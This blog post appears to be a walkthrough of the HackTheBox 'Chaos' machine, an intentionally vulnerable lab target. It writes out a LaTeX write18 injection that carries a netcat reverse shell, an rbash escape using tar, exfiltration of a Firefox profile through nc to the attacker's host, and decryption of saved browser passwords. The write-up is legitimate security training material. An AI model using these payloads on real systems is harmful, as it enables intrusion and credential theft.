HackTheBox Chaos write-up

(Difficulty: Medium)

Reconnaissance


PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
110/tcp   open  pop3     Dovecot pop3d
|_pop3-capabilities: UIDL TOP SASL RESP-CODES STLS CAPA PIPELINING AUTH-RESP-CODE
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ Pre-login have ENABLE more IMAP4rev1 LOGINDISABLEDA0001 SASL-IR listed capabilities OK ID IDLE post-login LOGIN-REFERRALS STARTTLS
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ ENABLE have more IMAP4rev1 Pre-login SASL-IR listed capabilities OK ID IDLE post-login LOGIN-REFERRALS AUTH=PLAINA0001
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
|_pop3-capabilities: UIDL TOP USER RESP-CODES SASL(PLAIN) CAPA PIPELINING AUTH-RESP-CODE
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:   af90 2165 92c7 740f d97a 786a 7e9f cb92
|_SHA-1: 5a4d 4223 3b08 a24b 7d5a e509 09bf 9570 aa2c f6ba
|_ssl-date: TLS randomness does not represent time
10000/tcp open  http     MiniServ 1.890 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesnt have a title (text/html; Charset=iso-8859-1).
nmap -A -v -sS -f -T4 -p- -oN nmap.txt 10.10.10.120

http://10.10.10.120

Direct IP not allowed

This hints at the use of virtual hosts. The Common Name (CN) stated in the nmap service scan's X.509 certificates hints at chaos being the domain name and HackTheBox machines that are not part of Active Directory usually have a Top Level Domain (TLD) of htb (not a valid Internet TLD). Armed with that knowledge, I can assume the domain is chaos.htb in the virtual hosts file set for Apache and chaos for the Dovecot services so I need to set the local DNS to match potential candidates

echo '10.10.10.120 chaos.htb chaos' >> /etc/hosts

http://chaos.htb

Wappalyzer does not identify any CMS

The next option is to brute-force common directories with the IP and then with the virtual host address

gobuster -e -r -fw -u http://10.10.10.120 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt

http://10.10.10.120/wp

Directory listing reveals the next location with a standard WordPress installation

http://10.10.10.120/wp/wordpress/

There is exactly one post by the author "human"

http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/

The post is password protected so I try common passwords and information present in the page. The password is human, the author's name.

Mail credentials are exposed after the password is validated (that password is not reused on WordPress login).

username – ayush
password – jiujitsu

According to the nmap scan, Dovecot is running IMAP/TLS and POP3/TLS services so I can potentially authenticate to at least one of these services.

Since encryption is being used I can't use something like netcat or telnet. While I could use an e-mail client, I preferred the fastest route which was using the OpenSSL client. The CN in the certificate was chaos and this is no longer a web server so we can use just a hostname openssl s_client -connect chaos:993

Login . login ayush jiujitsu

View all lists . list "" *

Three lists available (Inbox, Sent, and Drafts) . select Drafts

One draft exists . fetch 1 body[]

And I got enough information printed on my screen . logout

Copy e-mail's enim_msg.txt base64 contents to clipboard and save to file

echo -ne MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08= | base64 -d > enim_msg.txt

Copy e-mail's en.py attachment base64 contents to clipboard and save to file

echo -ne ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBvdXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdldHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikKCiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRoIG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVua3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgogICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5rKSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdlc3QoKQoK | base64 -d | tee en.py
def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV =Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
            hasher = SHA256.new(password.encode('utf-8'))
            return hasher.digest()

So this is when things get a little difficult if you have not had prior experience with python or cryptography. This is basically an AES file encrypter using a SHA256 encoded string as a password. When developing symmetric cryptography scripts like this one there are usually two functions, encryption and decryption, but this snippet is missing the decryption function. Since code is often reused or very similar, I was able to find the matching decryption function after searching for it. In the e-mail body, the password being ayush is hinted. I modified the script to be more conventional for both encryption and decryption.

#!/usr/bin/python3
import os
import sys
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto import Random

def encrypt(key, input_file, output_file):
    chunksize = 64*1024
    filesize = '{:016d}'.format(os.path.getsize(input_file)).encode('utf-8')
    IV = Random.new().read(16)
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    with open(input_file, 'rb') as infile:
        with open(output_file, 'wb') as outfile:
            outfile.write(filesize)
            outfile.write(IV)
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0: break
                elif len(chunk) % 16 != 0: chunk += b' ' * (16 - (len(chunk) %16))
                outfile.write(encryptor.encrypt(chunk))

def decrypt(key, input_file, output_file):
    chunksize = 64*1024
    with open(input_file, 'rb') as infile:
        filesize = int(infile.read(16).decode('utf-8'))
        IV = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, IV)
        with open(output_file, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0: break
                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(filesize)

def getKey(password):
    password = password.encode('utf-8')
    hasher = SHA256.new(password)
    return hasher.digest()

try:
    if len(sys.argv) != 5: raise Exception('Usage: filecrypt.py <encrypt|decrypt> <password> <input> <output>')
    operation = sys.argv[1].lower()
    password = getKey(sys.argv[2])
    input_file = sys.argv[3]
    output_file = sys.argv[4]
    if 'enc' in operation: encrypt(password, input_file, output_file)
    if 'dec' in operation: decrypt(password, input_file, output_file)
except Exception as e:
    print(e)
filecrypter.py

python3 filecrypt.py decrypt sahay enim_msg.txt msg.txt

cat msg.txt | base64 -d

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Here I find a PDF web upload service. After some trial and error I discovered that this is running LaTeX in the background to generate PDFs and there are at least two methods of executing commands using inline text. One method is \input but after attempting that, the server broadcasts that this method is blacklisted. The other method is \immediate\write18 which is allowed. After experimenting with reverse shells using various methods, I discovered that this version of netcat is for OpenBSD so the execute (-e) flag does not work, therefore I have to use a pipe redirection reverse shell without ampersands (&) as LaTeX does not appear to like that character in this context.

Foothold


I setup my netcat listener

ncat -nvlp 443

I send the RCE HTTP POST request using cURL

curl -X POST -d 'content=\immediate\write18{rm /dev/shm/hdJdsaZ;mkfifo /dev/shm/hdJdsaZ;cat /dev/shm/hdJdsaZ|/bin/sh -i 2>1|nc 10.0.0.0 443 >/dev/shm/hdJdsaZ}&template=test1' http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php

I upgrade my shell to a pseudo terminal python -c 'import pty;pty.spawn("/bin/bash")'

Then I upgrade my pseudo terminal to be fully interactive

Ctrl + Z

stty -echo raw

fg

export TERM=screen-256color && clear

Privilege escalation


root:x:0:0:root:/root:/bin/bash
sahay:x:1000:1000:choas:/home/sahay:/bin/bash
ayush:x:1001:1001:,,,:/home/ayush:/opt/rbash
cat /etc/passwd | egrep -v 'nologin|false|sync'

While ayush's password (jiujitsu) from earlier did not work on WordPress, it does work on his local user account!

su ayush

I am in a restricted bash shell so I need to find something to help leverage my escape

echo $PATH/*

The results indicate that I am able to use the tar binary in this shell. A small visit to GTFOBins showed me how I can beat the tar out of this rbash

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh -P

While I am now free, my PATH variable was set to /home/ayush/.app due to the rbash so for my convenience I'm going to set it back to a generic Linux bash PATH so I can run commands/binaries without referencing their full path. I'm also going to set my shell back to bash since this tar command only worked with sh and I like my tab completion

/bin/bash

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Now to get some information about this user's home directory

ls -Rlash ~

So ayush appears to be browsing the Internet (Firefox profile discovered in home directory in .mozilla) on the same computer as a webserver which unfortunately happens in the real world too.

I'm going to exfiltrate the Firefox profile data by piping tar into netcat and extract it on the other side of the stream.

I setup my file receiver

mkdir exfil && cd exfil

ncat -nvlp 445 | tar x

And I push the data to me from Ayush

tar cf - ~/.mozilla 2>/dev/null | nc -w 3 10.0.0.0 445

Before I proceed to lurk in the bookmarks and browser history in the SQLite files, it would be best if I checked for saved passwords. I will be using this tool to extract passwords from saved firefox profiles

git clone https://github.com/unode/firefox_decrypt

I discover that the profile is locked with a master password which may be what you think it is as ayush loves to reuse passwords...

echo -ne 'jiujitsu' | python3 firefox_decrypt/firefox_decrypt.py ./home/ayush/.mozilla/firefox/

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'

As I now know the root password there is no need to use that Webmin portal su -

cat /home/ayush/user.txt /root/root.txt

To kill your fully interactive shell session you can just Ctrl + D which works as a exit signal for bash.

Thanks for reading! I hope you enjoyed this box :)

Author image
I like popping shells and setting up cloud stuff

Recent Posts

HackTheBox Fortune write-up
September 07, 2019
HackTheBox Netmon write-up
June 30, 2019
HackTheBox Querier write-up
June 22, 2019
HackTheBox Help write-up
June 08, 2019